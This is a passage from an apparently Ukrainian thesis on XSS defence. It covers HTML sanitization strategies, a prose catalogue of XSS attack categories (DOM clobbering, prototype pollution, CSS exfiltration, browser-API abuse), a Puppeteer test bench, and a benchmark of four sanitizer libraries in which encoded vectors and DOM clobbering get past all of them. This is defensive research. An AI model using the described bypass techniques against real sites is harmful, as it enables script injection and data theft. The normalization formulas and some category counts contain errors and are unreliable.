Менш очевидні небезпеки включають атрибут srcdoc елемента iframe, який дозволяє вбудовувати цілий HTML документ безпосередньо в атрибут, створюючи вкладений контекст парсингу. Атрибут poster елемента video може завантажувати зображення. Атрибут ping елемента a дозволяє надсилати POST запити при кліку, що може використовуватися для стеження або CSRF атак. HTML5 додав безліч нових атрибутів, таких як data-* атрибути, які самі по собі є безпечними, але можуть створювати вразливості, якщо клієнтський JavaScript код читає їх значення та використовує небезпечним чином.

Контекстна обізнаність є критично важливою при оцінці небезпеки атрибутів. Атрибут href безпечний в більшості випадків, якщо містить звичайний HTTP(S) URL, але стає небезпечним при використанні javascript:, data: або vbscript: протоколів. Проте навіть HTTP URL може бути проблематичним, якщо він вказує на контрольований атакуючим ресурс і використовується в контексті, де очікується довірений домен. Атрибут src елемента img здається безпечним, оскільки зображення не можуть виконувати код, але може використовуватися для стеження за користувачами або в поєднанні з onerror handler для виконання коду. Сучасні санітайзери повинні враховувати не лише список дозволених атрибутів, але й контекст їх використання та формат значення.

OWASP Java HTML Sanitizer використовує policy-based підхід, де розробник явно визначає, які елементи та атрибути дозволені через fluent API. Наприклад, можна створити політику, яка дозволяє базові форматувальні елементи типу b, i, em, strong, але блокує будь-які event handlers та небезпечні протоколи в URL атрибутах. Предвизначені політики, такі як Sanitizers.FORMATTING для базового форматування або Sanitizers.LINKS для посилань, надають готові конфігурації для типових випадків використання. DOMPurify в JavaScript середовищі використує подібний підхід з конфігураційним об'єктом, що дозволяє точно контролювати, які елементи та

атрибути дозволені, та надає hooks для кастомної логіки обробки. Важливо, що обидві бібліотеки за замовчуванням блокують всі потенційно небезпечні конструкції та вимагають явного дозволу для їх використання.

Стратегії очищення контенту. Після ідентифікації небезпечних елементів та атрибутів санітайзер повинен визначити стратегію їх обробки. Найпростіший та найбезпечніший підхід полягає у повному видаленні небезпечних елементів разом з їх контентом. Це гарантує, що жоден потенційно шкідливий код не залишиться в очищеному HTML. Проте такий радикальний підхід може призвести до втрати легітимного контенту, якщо користувач помилково або навмисно вставив HTML з елементами, які блокуються політикою безпеки. Альтернативним підходом є видалення лише самого небезпечного тегу, але збереження його текстового контенту, що дозволяє зберегти інформацію, але позбавити її можливості виконання.

Обробка атрибутів вимагає більш тонкого підходу. Деякі атрибути можуть бути повністю видалені, якщо вони потенційно небезпечні. Інші атрибути можуть бути санітизовані через перевірку та модифікацію їх значень. Наприклад, href атрибути можуть бути перевірені на предмет дозволених протоколів, і якщо виявляється javascript: або data: протокол, атрибут може бути видалений або змінений на безпечне значення. URL атрибути також можуть бути канонізовані та перевірені на відповідність доменів білого списку. Style атрибути потребують спеціалізованого CSS парсера для виявлення небезпечних конструкцій всередині CSS коду, таких як url() з javascript: протоколом або expression() функції.

Важливою стратегією є encoding спеціальних символів замість їх видалення. HTML entity encoding перетворює символи типу менше, більше, лапки та амперсанд на їх entity еквіваленти, такі як <, >, " та &. Це дозволяє безпечно відображати контент, що виглядає як HTML, без його інтерпретації браузером як розмітки. Проте encoding не є санітизацією і не може замінити її, оскільки encoding застосовується до текстового контенту, тоді як санітизація має справу зі структурою HTML. Сучасні веб-фреймворки, такі як React, Angular та Vue.js, автоматично

виконують encoding при використанні їх стандартних механізмів data binding, що захищає від XSS в більшості випадків, але розробники можуть обійти цей захист через використання небезпечних API.

DOMPurify використовує стратегію, де небезпечні елементи видаляються, але їх текстовий контент зберігається за замовчуванням, що дозволяє максимально зберегти інформацію користувача. Бібліотека також надає властивість removed, яка містить список видалених елементів та атрибутів, що може бути корисним для логування або інформування користувача про проблеми в його контенті. OWASP Java HTML Sanitizer дозволяє кастомізувати поведінку через ElementPolicy та AttributePolicy інтерфейси, де розробник може визначити власну логіку обробки специфічних елементів або атрибутів. Це особливо корисно для складних випадків, таких як трансформація небезпечних елементів в безпечні альтернативи або додавання додаткових атрибутів для безпеки.

Критично важливим є розуміння того, що санітизація повинна бути останнім етапом перед відображенням контенту в браузері. Будь-які модифікації санітизованого HTML після процесу очищення можуть нівелювати роботу захисних механізмів, оскільки можуть повторно ввести вразливості. Якщо санітизований контент передається іншій бібліотеці для обробки, необхідно переконатися, що ця бібліотека не модифікує HTML небезпечним чином. Також важливо регулярно оновлювати санітизаційні бібліотеки, оскільки постійно виявляються нові техніки обходу та випускаються патчі для їх виправлення. DOMPurify, наприклад, має історію множинних обхідніх вразливостей, які були знайдені дослідниками безпеки та оперативно виправлені командою розробників.

Контекст відображення також впливає на вибір стратегії санітизації. Якщо контент буде відображатися в email клієнті, можуть знадобитися додаткові обмеження через особливості парсингу HTML в email. Якщо контент експортується в PDF, необхідно враховувати, як PDF renderer інтерпретує HTML та JavaScript. Для мобільних додатків, які використовують WebView для відображення користувацького

контенту, можуть бути актуальні специфічні вразливості платформи. Комплексна стратегія безпечної обробки користувацького вводу повинна враховувати весь lifecycle контенту від введення до відображення та включати множинні рівні захисту, де санітизація є важливим, але не єдиним компонентом defense-in-depth підходу.

Висновки до другого розділу

У другому розділі проведено комплексне дослідження механізмів захисту від XSS-атак, що охопило інтелектуальні методи виявлення на основі машинного та глибокого навчання, теоретичні основи санітизації HTML, та серверні засоби захисту включаючи Web Application Firewalls та Runtime Application Self-Protection. Систематизація сучасних підходів виявила еволюцію від простих методів фільтрування на основі сигнатур до складних адаптивних систем, що використовують штучний інтелект для виявлення невідомих векторів атак та аналізу поведінки застосунків у реальному часі.

Аналіз інтелектуальних методів виявлення продемонстрував значний прогрес у застосуванні машинного навчання. Класичні класифікатори: дерева рішень, випадковий ліс та метод опорних векторів показали високу ефективність у детектуванні відомих патернів через аналіз статистичних характеристик та структурних особливостей корисних навантажень. Проте виявлено критичну залежність від якості тренувальних даних.

Глибоке навчання та методи обробки природної мови відкрили можливості для аналізу семантичних характеристик потенційних XSS векторів, дозволяючи виявляти складні обфусковані атаки, виявляючи аномальні патерни навіть при значному кодуванні або обфускації. Однак складність та обчислювальна вартість глибоких моделей створює виклики для застосування у системах з жорсткими вимогами до затримки або обмеженими ресурсами.

Дослідження адверсаріальних атак на моделі машинного навчання виявило фундаментальну вразливість систем штучного інтелекту до навмисно сконструйованих вхідних даних. Атакуючі використовують методи градієнтного сходження для генерації навантажень, що максимізують ймовірність помилкової класифікації як легітимного вводу, залишаючись функціонально шкідливими. Застосування генеративного штучного інтелекту для автоматичної генерації нових XSS векторів створює виклик, оскільки великі мовні моделі можуть генерувати практично необмежену різноманітність обфускованих навантажень.

Теоретичні основи санітизації HTML виявили критичну проблему самописних санітайзерів через систематичні прогалини внаслідок недооцінки складності парсингу HTML. Аналіз показав, що різниця між парсингом санітайзера та браузера може призвести до мутаційних XSS атак, коли санітайзер вважає дані безпечними, а браузер інтерпретує їх як шкідливий код. Це підкреслює абсолютну необхідність використання перевірених бібліотек санітизації, що базуються на правильних HTML парсерах та регулярно оновлюються. Принципи безпечної обробки вводу визначають комплексний підхід: валідація на основі білого списку, контекстно-залежна санітизація та правильне кодування при виведенні.

Дослідження Web Application Firewalls виявило еволюцію від простих сигнатурних систем до складних платформ з машинним навчанням. Сигнатурні WAF ефективні для блокування відомих патернів та забезпечують низьку кількість хибних спрацьовувань при правильній конфігурації, але вразливі до обфускованих варіантів та атак нульового дня. Системи на основі машинного навчання демонструють здатність виявляти аномалії у трафіку, що відхиляється від базових моделей нормальної поведінки, потенційно детектуючи невідомі атаки. Комбінований підхід, що поєднує синтаксичний аналіз HTML структури з класифікацією машинного навчання, досягає точності виявлення понад 98% при збереженні низького рівня хибних спрацьовувань.

Runtime Application Self-Protection представляє фундаментально інший підхід, функціонуючи всередині застосунку з повним доступом до контексту виконання, стеку викликів та потоку даних. Ключова перевага RASP - здатність розрізняти легітимну поведінку від спроб експлуатації з високою точністю завдяки глибокому розумінню контексту операції. На відміну від WAF, що може бути обійдений через кодування або обфускацію на рівні запиту, RASP аналізує фактичні дані після декодування застосунком у канонічній формі, значно ускладнюючи обхід. Здатність детектувати складні ланцюги експлуатації, де окремі компоненти можуть виглядати легітимними, робить RASP особливо ефективним проти просунутих багатоетапних атак.

Порівняльний аналіз WAF та RASP продемонстрував їх комплементарність для багаторівневого захисту. WAF забезпечує широке покриття на периметрі, блокуючи очевидні атаки та знижуючи навантаження на застосунок. RASP надає глибокий контекстуальний захист всередині застосунку для виявлення складних атак, що обійшли зовнішні фільтри. Проте впровадження RASP створює виклики через необхідність глибокої інтеграції та потенційний вплив на продуктивність, що вимагає ретельного тестування та налаштування для оптимального балансу між безпекою та продуктивністю.

Критичним висновком є відсутність єдиного ідеального рішення для повного захисту від XSS-атак. Ефективна стратегія вимагає комбінації множинних рівнів: інтелектуальні системи детектування на основі машинного навчання для виявлення аномалій; Web Application Firewalls для периметрового фільтрування відомих патернів; Runtime Application Self-Protection для контекстуального захисту всередині застосунку; правильна санітизація з використанням перевірених бібліотек; безпечні практики розробки з фреймворками, що надають автоматичний захист. Кожен рівень компенсує обмеження інших, створюючи глибоко ешелоновану оборону.

Виявлені прогалини включають недостатню стійкість систем машинного навчання до адверсаріальних атак, складність конфігурації комплексних рішень

безпеки для організацій з обмеженою експертизою, та відсутність стандартизованих методологій для об'єктивного порівняння ефективності санітизаційних рішень у реальних умовах.

Розділ 3 ЕКСПЕРИМЕНТАЛЬНЕ ДОСЛІДЖЕННЯ ЕФЕКТИВНОСТІ БІБЛІОТЕК САНІТИЗАЦІЇ

3.1 Розробка тестового набору XSS пейлоадів

3.1.1 Методологія формування тестового датасету

Для комплексного тестування ефективності санітизаційних механізмів та валідації розробленої системи захисту від XSS-атак було створено спеціалізований датасет, що налічує 100 унікальних векторів атак. Методологія формування датасету базувалася на систематичному аналізі сучасного ландшафту веб-технологій та відомих техник експлуатації вразливостей. На відміну від традиційних XSS cheat sheets, які фокусуються переважно на класичних векторах атак через script теги та event handlers, розроблений датасет охоплює широкий спектр сучасних браузерних API та JavaScript можливостей, що з'явилися в останні роки та часто залишаються поза увагою традиційних засобів захисту.

Структурування датасету здійснювалося за тематичними категоріями, кожна з яких представляє окремий клас потенційних векторів атак. Такий підхід дозволяє не лише систематично тестувати різні аспекти системи захисту, але й ідентифікувати потенційні прогалини в покритті специфічних технологій. Кожен вектор атаки в датасеті супроводжується метаданими, що включають категорію атаки, цільовий браузерний API або конструкцію, очікуваний результат виконання та рівень складності виявлення. Така структуризація забезпечує можливість аналізу ефективності санітизації на різних рівнях абстракції та виявлення закономірностей у типах атак, що успішно обходять захист.

Принциповим рішенням при розробці датасету стало включення не лише синтаксично коректних векторів атак, але й обфускованих варіантів, що використовують альтернативні кодування та інші техніки приховування шкідливого коду. Це відображає реальний ландшафт загроз, де атакуючі активно використовують

обфускацію для обходу pattern-matching базованих фільтрів. Датасет також включає вектори, що експлуатують особливості парсингу HTML в різних контекстах, включаючи відмінності в обробці коду всередині різних елементів та namespace-специфічну поведінку, що є критично важливим для тестування стійкості до mutation XSS атак.

3.1.2 Категорії векторів атак та їх технічна специфіка

Перша категорія датасету присвячена CSS-ін'єкціям, що представляють історично значущий, але часто недооцінений вектор атак. Вектори цієї категорії включають використання застарілої, але все ще підтримуваної в деяких контекстах expression() функції Internet Explorer, яка дозволяє виконувати JavaScript всередині CSS правил. Сучасніші техніки включають експлуатацію @import директиви для завантаження зовнішніх стилів з контрольованих атакуючим доменів, використання CSS анімацій та зміни властивостей в поєднанні з event handlers для створення trigger-based атак, а також техніки «data exfiltration» через CSS селектори та атрибутні селектори, що дозволяють витягувати конфіденційну інформацію без виконання JavaScript.

Друга та третя категорії фокусуються на сучасних веб-API, які значно розширили можливості веб-додатків, але одночасно створили нові вектори атак. Web Workers API дозволяє виконувати JavaScript код в окремому потоці, що може бути використано для обходу деяких Content Security Policy конфігурацій. Service Workers надають ще більш потужні можливості, включаючи перехоплення та модифікацію мережевих запитів, що робить їх привабливою ціллю для атак типу man-in-the-middle. WebAssembly модулі можуть містити шкідливу логіку, скомпільовану з низькорівневих мов, що ускладнює статичний аналіз коду. WebGL API через спеціальні програми може використовуватися для витоку інформації про систему користувача або навіть для виконання обчислень, пов'язаних з криптомайнінгом.

Web Components та Shadow DOM представляють особливий інтерес через їх здатність інкапсулювати DOM структуру та логіку, що може бути використано для приховування шкідливого коду від засобів моніторингу. Вектори атак через Custom Elements дозволяють зареєструвати власні HTML елементи з довільною JavaScript логікою, яка виконується при створенні елемента. Shadow DOM надає можливість створювати ізольовані DOM дерева, де шкідливий контент може бути прихований від батьківського документа. Slot механізм Web Components дозволяє динамічно проектувати контент в shadow DOM, що створює додаткові можливості для ін'єкції коду.

Категорія браузерних API включає широкий спектр векторів, що експлуатують сучасні можливості взаємодії з пристроєм користувача. Geolocation API може використовуватися для стеження за користувачами без їх явної згоди, MediaDevices API надає доступ до камери та мікрофону, що створює серйозні ризики для приватності. Notifications API може використовуватися для social engineering атак через відображення обманних повідомлень від імені легітимного сайту. Clipboard API дозволяє читати та модифікувати вміст буфера обміну, що може призвести до витоку конфіденційної інформації або підміни скопійованих даних, таких як адреси криптовалютних гаманців.

Fullscreen API в поєднанні з Pointer Lock API може створювати переконливі фішингові сторінки, які повністю контролюють екран та курсор користувача, унеможливлюючи перевірку реального URL в адресному рядку. Battery Status API, Device Orientation та Accelerometer можуть використовуватися для класифікації пристроїв та стеження за користувачами. Speech Synthesis API дозволяє генерувати голосові повідомлення, що може використовуватися для створення більш переконливих фішингових атак. Web Animations API надає програмний контроль над CSS анімаціями, що може бути використано для створення відволікаючого контенту або приховування шкідливих елементів.

3.1.3 Спостерігачі та механізми моніторингу

Категорія Observer API включає вектори, що використовують сучасні механізми спостереження за змінами в DOM та інших аспектах веб-сторінки. Intersection Observer може використовуватися для визначення моменту, коли користувач прокручує до певного елемента, що дозволяє тригерувати шкідливий код лише при певних умовах, ускладнюючи детектування. Mutation Observer надає можливість спостерігати за всіма змінами в DOM дереві в реальному часі, що може використовуватися для обходу динамічних санітизаційних механізмів або для моніторингу користувацької активності. Цей API особливо небезпечний, оскільки може відстежувати навіть зміни в shadow DOM та реагувати на спроби видалення шкідливих елементів засобами захисту.

Resize Observer дозволяє відстежувати зміни розмірів елементів, що може використовуватися для виявлення моменту відображення конфіденційної інформації або адаптації атаки під розмір екрану. Performance Observer надає детальну інформацію про продуктивність сторінки, включаючи timing інформацію про завантаження ресурсів, що може використовуватися для витоку інформації через side-channel атаки. Комбінація різних Observer API дозволяє створювати складні адаптивні атаки, які змінюють свою поведінку залежно від контексту виконання та дій користувача.

3.1.4 Сховища даних та міжконтекстна комунікація

Вектори атак через механізми зберігання даних та комунікації представляють особливу небезпеку через їх персистентність та можливість впливу на множинні сесії користувача. LocalStorage та SessionStorage можуть використовуватися для збереження шкідливого коду, який виконується при кожному завантаженні сторінки, створюючи stored XSS вразливості навіть за відсутності серверної персистентності. IndexedDB надає більш потужні можливості для зберігання структурованих даних,

включаючи Blob об'єкти та File об'єкти, що може використовуватися для складних багатоетапних атак.

WebSocket API дозволяє встановлювати двосторонній комунікаційний канал з сервером, що може використовуватися для викрадення даних в реальному часі або для отримання команд від command-and-control сервера. WebRTC створює peer-to-peer з'єднання, які можуть обходити деякі мережеві обмеження та витікати реальну IP адресу користувача навіть при використанні VPN. PostMessage API, призначений для безпечної міжвіконної комунікації, часто використовується небезпечно через недостатню валідацію origin та типу повідомлень, що створює можливості для ін'єкції шкідливих даних між різними контекстами виконання.

3.1.5 Файлові операції та об'єктні URL

Категорія, присвячена роботі з файлами та об'єктами, включає вектори через File API, який дозволяє читати локальні файли, вибрані користувачем, що може призвести до витоку конфіденційної інформації при недостатній валідації. Blob URL створюють тимчасові URL для в-пам'яті об'єктів, що може використовуватися для генерації шкідливих документів динамічно або для обходу Content Security Policy обмежень через створення inline контенту з іншим origin. Fetch API надає потужний механізм для виконання HTTP запитів з детальним контролем headers та credentials, що може використовуватися для CSRF атак або для викрадення даних на контрольовані атакуючим сервери.

Data-атрибути, введені в HTML5, самі по собі є безпечними, але створюють вразливості, якщо JavaScript код небезпечно обробляє їх значення, наприклад, використовуючи eval() або innerHTML для динамічного створення контенту на основі data-атрибутів. Drag and Drop API дозволяє користувачам перетягувати файли та інший контент на веб-сторінку, що створює додаткові вектори для ін'єкції шкідливого контенту, особливо якщо додаток автоматично обробляє цей контент без належної валідації.

3.1.6 Сучасні JavaScript конструкції

Вектори, базовані на сучасних можливостях JavaScript, демонструють еволюцію мови та появу нових патернів, які можуть бути експлуатовані. Template Literals надають можливість створювати багаторядкові рядки та виконувати string interpolation, що може використовуватися для обходу простих pattern-matching фільтрів через розбиття шкідливого коду на множинні рядки. Tagged template literals дозволяють викликати функції особливим синтаксисом, що може приховувати виклик eval-подібних функцій. Proxy об'єкти надають можливість перехоплювати та переозначати фундаментальні операції над об'єктами, що може використовуватися для приховування шкідливої логіки або модифікації поведінки захисних механізмів.

Об'єкти Symbols створюють унікальні ідентифікатори, які можуть використовуватися для доступу до прихованих властивостей об'єктів або для обходу перевірок, що базуються на іменах властивостей. Об'єкти Generators та async/await надають нові паттерни для асинхронного виконання коду, що може ускладнювати статичний аналіз та відстрочувати виконання шкідливого коду до моменту, коли захисні механізми вже не активні. Модулі ES6 та динамічний імпорт дозволяють завантажувати JavaScript модулі динамічно, що може використовуватися для завантаження шкідливого коду з зовнішніх джерел, обходячи деякі CSP конфігурації, якщо дозволено 'unsafe-eval' або недостатньо обмежений script-src.

3.1.7 Спеціалізовані техніки атак

Фінальна категорія датасету включає високоспеціалізовані техніки атак, що вимагають глибокого розуміння внутрішніх механізмів браузерів та JavaScript. DOM Clobbering експлуатує особливість HTML, де елементи з атрибутом id або name автоматично стають властивостями глобального об'єкта window, що дозволяє «заглушати» глобальні змінні та функції, створені JavaScript кодом. Ця техніка може

використовуватися для обходу захисних механізмів, які покладаються на глобальні змінні, або для модифікації поведінки бібліотек та фреймворків.

Prototype Pollution атаки експлуатують динамічну природу JavaScript прототипів, дозволяючи модифікувати Object.prototype або прототипи інших вбудованих об'єктів. Це може призвести до глобальної компрометації логіки додатку, оскільки всі об'єкти в JavaScript успадковують властивості від своїх прототипів. Вектори атак включають ін'єкцію шкідливих властивостей через об'єднання об'єктів, десеріалізацію JSON з спеціально сформованими ключами типу «__proto__» або «constructor.prototype», або експлуатацію вразливих бібліотек, що небезпечно обробляють користувацький ввід.

Web Crypto API, призначений для виконання криптографічних операцій в браузері, може використовуватися зловмисниками для шифрування викрадених даних перед їх відправкою, ускладнюючи детектування витоку інформації системами моніторингу трафіку. Також цей API може використовуватися для генерації криптографічно стійких випадкових чисел для обфускації або для обчислень в браузерних криптомайнерах. Комбінація Web Crypto API з Web Workers дозволяє виконувати ресурсоємні криптографічні операції без блокування основного потоку виконання, що робить такі атаки менш помітними для користувача.

Таблиця 3.1

Розподіл векторів атак за основними категоріями.

Категорія	Кількість
Event Handlers (onclick, onload, onmouseover, touch тощо)	26
Script теги (basic, with source, defer, async)	5
SVG вектори (onload, foreignObject, animation)	3
CSS ін’єкції (expression, import, animation, transition)	4

JavaScript URL (protocol, encoded)	2
Інші категорії (по 1 вектору кожна)	60

Датасет також включає вектори, що комбінують множинні техніки для створення багатоетапних атак, де кожен етап сам по собі може здаватися нешкідливим, але в сукупності призводить до повної компрометації. Такі комбіновані вектори особливо ефективні проти систем захисту, які аналізують окремі конструкції ізольовано, не враховуючи контекст та взаємодію різних компонентів коду. Загалом, розроблений датасет представляє комплексний benchmark для оцінки ефективності санітизаційних механізмів в контексті сучасного ландшафту веб-технологій та еволюції техніки XSS атак.

3.2 Розробка та конфігурація тестового стенда для бібліотек санітизації

Створення вимірювального середовища розпочалося з розроблення спеціалізованого веб-сервера на базі Node.js/Express, який моделює типову веб-платформу, уразливу до різноманітних варіантів XSS. Сервер реалізує REST-інтерфейси для подачі вхідних даних, застосування різних бібліотек санітизації та відображення результатів у вигляді інтерактивних HTML-сторінок. Архітектуру побудовано модульно: ядро server.js відповідає за маршрутизацію та динамічне генерування тестових сторінок, набір санітизаторів інкапсульовано у вигляді функцій-обгорток над DOMPurify, xss, sanitize-html, а також зовнішніми Java-службами (OWASP HTML Sanitizer); база тестових векторів підтримується у форматі JSON (payloads.js) та охоплює широку діапазон класичних і сучасних каналів ін’єкції: від простих тегів <script> і обробників подій до WebAssembly, Service Worker, Shadow DOM та API браузера.

Наступним кроком стало створення інструментарію автоматизованого виконання. Основний компонент — модуль puppeteer-tests.js, який за допомогою бібліотеки Puppeteer імітує поведінку браузера, автоматично завантажує сторінки

/test/:sanitizer/:payloadId, інтерпретує згенеровану DOM-структуру, викликає категорійно-специфічні дії (тригери подій, симуляція drag&drop, виклики API) та перехоплює діалогові вікна alert, що сигналізують про успішне виконання шкідливого коду. Для адаптації до експериментальних сценаріїв реалізовано параметри командного рядка: вибір санітизатора (--sanitizer), URL-ендпойнта (--url), режиму відображення (--headless) і таймаутів. Додаткові оболонки (comparison-tests.js, range-tests.js) забезпечують повний перебір усіх санітизаторів або обраних діапазонів пейлоадів, автоматично збираючи метрики часу виконання та споживання пам’яті.

Стандартизований порядок запуску експериментів включає:

1) встановлення залежностей (npm install)

2) запуск серверної частини (npm start) із можливістю динамічного ввімкнення CSP (через параметр ?csp=true у тестових URL)

3) виконання автоматизованих прогонів – індивідуальних (node puppeteer-tests.js --sanitizer dompurify) чи порівняльних (npm run test:comparison, node range-tests.js --sanitizer dompurify --range 1-100). Результати кожного сеансу фіксуються у вигляді JSON/CSV-звітів із докладною інформацією про статус блокування, кількість спрацьовувань alert, часові й пам’ятні характеристики, а також додається HTML-дашборд для візуального аналізу порівняльних прогонів.

Запропонований тестовий комплекс дозволяє відтворити реалістичні сценарії роботи веб-застосунків і систематично порівняти ефективність різних бібліотек санітизації в умовах багатовекторних XSS-атак. Він забезпечує відтворюваність експериментів, можливість масштабування через розширення бази пейлоадів і опціональну інтеграцію з CI/CD-процесами, що робить його придатним як для досліджень, так і для практичного впровадження у процесі безпекового тестування.

3.3 Експериментальне тестування та аналіз результатів

Представлені результати отримані в ході експериментального тестування чотирьох бібліотек санітизації HTML з використанням їх дефолтних конфігурацій без

додаткових налаштувань або оптимізацій. Тестування проводилося на уніфікованому датасеті, що налічує 100 векторів XSS-атак, охоплюючи як класичні, так і сучасні техніки експлуатації вразливостей. Використання дефолтних налаштувань обумовлено необхідністю оцінки ефективності бібліотек "out-of-the-box", тобто без залучення експертних знань для їх конфігурації, що відповідає реальним сценаріям впровадження в типових веб-застосунках.

Таблиця 3.2

Ефективність бібліотек санітизації

Бібліотека	XSS блоковано, %	Використано пам’яті, байт	Середній час, мс	Пейлоади що не були блоковані
Без санітизації	0	502	0,028	
DOMPurify	96	90103	1.107	data attribute, css injection, encoded, dom clobbering
js-xss	95	3271	0,204	svg, deprecated, applet tag, encoded, dom clobbering
sanitize-html	98	7501	0,179	encoded, dom clobbering
OWASP Java HTML Sanitizer	98	89365	0,356	encoded, dom clobbering

3.3.1 Методологія нормалізації показників

Для забезпечення коректного порівняння різнорідних показників застосовано метод лінійної нормалізації, що приводить усі значення до єдиної шкали [0, 10]. Для критеріїв, що підлягають максимізації (Security, Maintenance, Popularity, Size), використовується пряма нормалізація:

$$n_i = \frac{(x_i - x_{min})}{(x_{max} - x_{min}) \cdot 10} \qquad (3.1)$$

Для критеріїв, що підлягають мінімізації (Performance, Memory Usage), застосовується інверсна нормалізація:

$$n_i = \frac{(x_{max} - x_i)}{(x_{max} - x_{min}) \cdot 10}, \qquad (3.2)$$

де n_i – нормалізоване значення показника для і-ї бібліотеки,

x_i – абсолютне значення показника,

x_{min} – мінімальне значення показника серед усіх досліджуваних бібліотек,

x_{max} – максимальне значення показника серед усіх досліджуваних бібліотек.

Таблиця 3.3

Інтегральна оцінка бібліотек санітизації

Бібліотека	Sec (0,38)	Perf (0,18)	Mem (0,18)	Maint (0,11)	Pop (0,10)	Size (0,05)	Підсумок
DOMPurify	3,33	0,00	0,00	9,0	9,5	8,0	3,61
js-xss	0,00	9,73	10,00	7,0	7,5	8,5	5,50
sanitize-html	10,00	10,00	9,51	7,5	7,5	7,5	9,26
OWASP Java HTML Sanitizer	10,00	8,09	0,08	8,5	7,0	7,5	7,28

Детальний аналіз нормалізованих показників

1. Критерій Security (вага 0,38): Нормалізація здійснювалася на основі відсотку заблокованих XSS-векторів з датасету. Вихідні дані: DOMPurify – 96%, js-xss – 95%, sanitize-html – 98%, OWASP – 98%. Діапазон значень: [95%, 98%]. Після нормалізації: sanitize-html та OWASP отримали максимальну оцінку 10,00, DOMPurify – 3,33, js-xss – 0,00. Результати свідчать про суттєву різницю в ефективності блокування атак між бібліотеками у дефолтній конфігурації.

2. Критерій Performance (вага 0,18): Оцінка базувалася на середньому часі санітизації одного пейлоаду. Вихідні дані: DOMPurify – 1,107 мс, js-xss – 0,204 мс, sanitize-html – 0,179 мс, OWASP – 0,356 мс. Діапазон значень: [0,179 мс, 1,107 мс]. Після інверсної нормалізації: sanitize-html отримала максимальну оцінку 10,00, js-xss – 9,73, OWASP – 8,09, DOMPurify – 0,00. Спостерігається шестикратна різниця у швидкості між найшвидшою (sanitize-html) та найповільнішою (DOMPurify) бібліотеками при дефолтних налаштуваннях.

3. Критерій Memory Usage (вага 0,18): Вимірювання обсягу використаної пам'яті при санітизації. Вихідні дані: DOMPurify – 90103 байт, js-xss – 3271 байт, sanitize-html – 7501 байт, OWASP – 89365 байт. Діапазон значень: [3271 байт, 90103 байт]. Після інверсної нормалізації: js-xss – 10,00, sanitize-html – 9,51, OWASP – 0,08, DOMPurify – 0,00. Виявлено майже 28-кратну різницю між найбільш (js-xss) та найменш (DOMPurify) ефективними бібліотеками за використанням пам'яті у дефолтній конфігурації, що може бути критичним фактором для високонавантажених систем.

4. Критерії Maintenance, Popularity та Size: Ці показники оцінювалися на основі аналізу репозиторіїв GitHub та документації. Maintenance відображає активність підтримки проєкту (частота оновлень, швидкість виправлення вразливостей). Popularity базується на кількості зірок GitHub та використанні в продакшн-проєктах. Size враховує розмір бібліотеки та її вплив на bundle size веб-застосунку. Оцінки за цими критеріями вже були нормалізовані в шкалі [0, 10] на етапі попереднього аналізу.

Розрахунок інтегральної оцінки

Інтегральна оцінка S_i для кожної бібліотеки розраховується за формулою зваженої суми

$$S_i = \sum(w_j \cdot n_{ij}), \qquad (3.3)$$

де w_j – вага j-го критерію;

n_{ij} – нормалізоване значення j-го критерію для і-ї бібліотеки.

Ваги критеріїв визначено на основі аналізу пріоритетності показників для типових веб-застосунків: Security (0,38) отримала найбільшу вагу як критичний фактор безпеки, Performance та Memory Usage (по 0,18) – як ключові показники продуктивності, Maintenance (0,11) та Popularity (0,10) – як індикатори довгострокової підтримки, Size (0,05) – як допоміжний параметр оптимізації.

Приклади розрахунків інтегральної оцінки:

sanitize-html: S = 0,38×10,00 + 0,18×10,00 + 0,18×9,51 + 0,11×7,50 + 0,10×7,50 + 0,05×7,50 = 3,800 + 1,800 + 1,712 + 0,825 + 0,750 + 0,375 = 9,26

OWASP Java HTML Sanitizer: S = 0,38×10,00 + 0,18×8,09 + 0,18×0,08 + 0,11×8,50 + 0,10×7,00 + 0,05×7,50 = 3,800 + 1,457 + 0,015 + 0,935 + 0,700 + 0,375 = 7,28

js-xss: S = 0,38×0,00 + 0,18×9,73 + 0,18×10,00 + 0,11×7,00 + 0,10×7,50 + 0,05×8,50 = 0,000 + 1,752 + 1,800 + 0,770 + 0,750 + 0,425 = 5,50

DOMPurify: S = 0,38×3,33 + 0,18×0,00 + 0,18×0,00 + 0,11×9,00 + 0,10×9,50 + 0,05×8,00 = 1,267 + 0,000 + 0,000 + 0,990 + 0,950 + 0,400 = 3,61

Підсумковий рейтинг бібліотек (дефолтні конфігурації)

1. **sanitize-html (9,26)** – демонструє оптимальний баланс усіх критеріїв, досягаючи максимальних показників безпеки (98% блокування) та продуктивності (0,179 мс), при ефективному використанні пам'яті (7501 байт).

2. **OWASP Java HTML Sanitizer (7,28)** – забезпечує високий рівень безпеки (98% блокування) та добру підтримку проєкту, однак демонструє найгірші показники використання пам'яті (89365 байт) у дефолтній конфігурації.

3. **js-xss (5,50)** – характеризується відмінними показниками продуктивності та найменшим споживанням пам'яті, але демонструє найнижчий рівень безпеки серед тестованих бібліотек (95% блокування) у дефолтних налаштуваннях.

4. **DOMPurify (3,61)** – незважаючи на високі показники підтримки та популярності, у дефолтній конфігурації демонструє найнижчу продуктивність (1,107 мс) та найбільше споживання пам'яті (90103 байт), що суттєво знижує її інтегральну оцінку.

3.3.2 Виявлені вразливості та обходи захисту

Вектори що пройшли фільтрацію та аналіз причин обходи захисту. Результати демонструють, що навіть найефективніша бібліотека sanitize-html, яка заблокувала 98% векторів атак, залишила незахищеними дві критичні категорії: encoded vectors та DOM clobbering атаки. Бібліотека OWASP Java HTML Sanitizer продемонструвала ідентичний рівень захисту (98% блокування) з аналогічними прогалинами, що свідчить про фундаментальну складність детектування цих специфічних класів атак у дефолтних конфігураціях.

DOMPurify у дефолтній конфігурації показала найбільшу кількість категорій, що обійшли захист, дозволивши проникнути чотирьом типам атак: data attribute injection, CSS injection, encoded vectors та DOM clobbering. Незважаючи на блокування 96% векторів, наявність множинних категорій обходи захисту свідчить про необхідність додаткової конфігурації для забезпечення комплексного захисту. Бібліотека js-xss продемонструвала найнижчий рівень захисту серед досліджуваних рішень (95% блокування), пропустивши п'ять категорій атак: SVG-based vectors, deprecated tags (applet), encoded vectors та DOM clobbering, що робить її найменш підходящою для застосунків з високими вимогами до безпеки у дефолтній конфігурації.

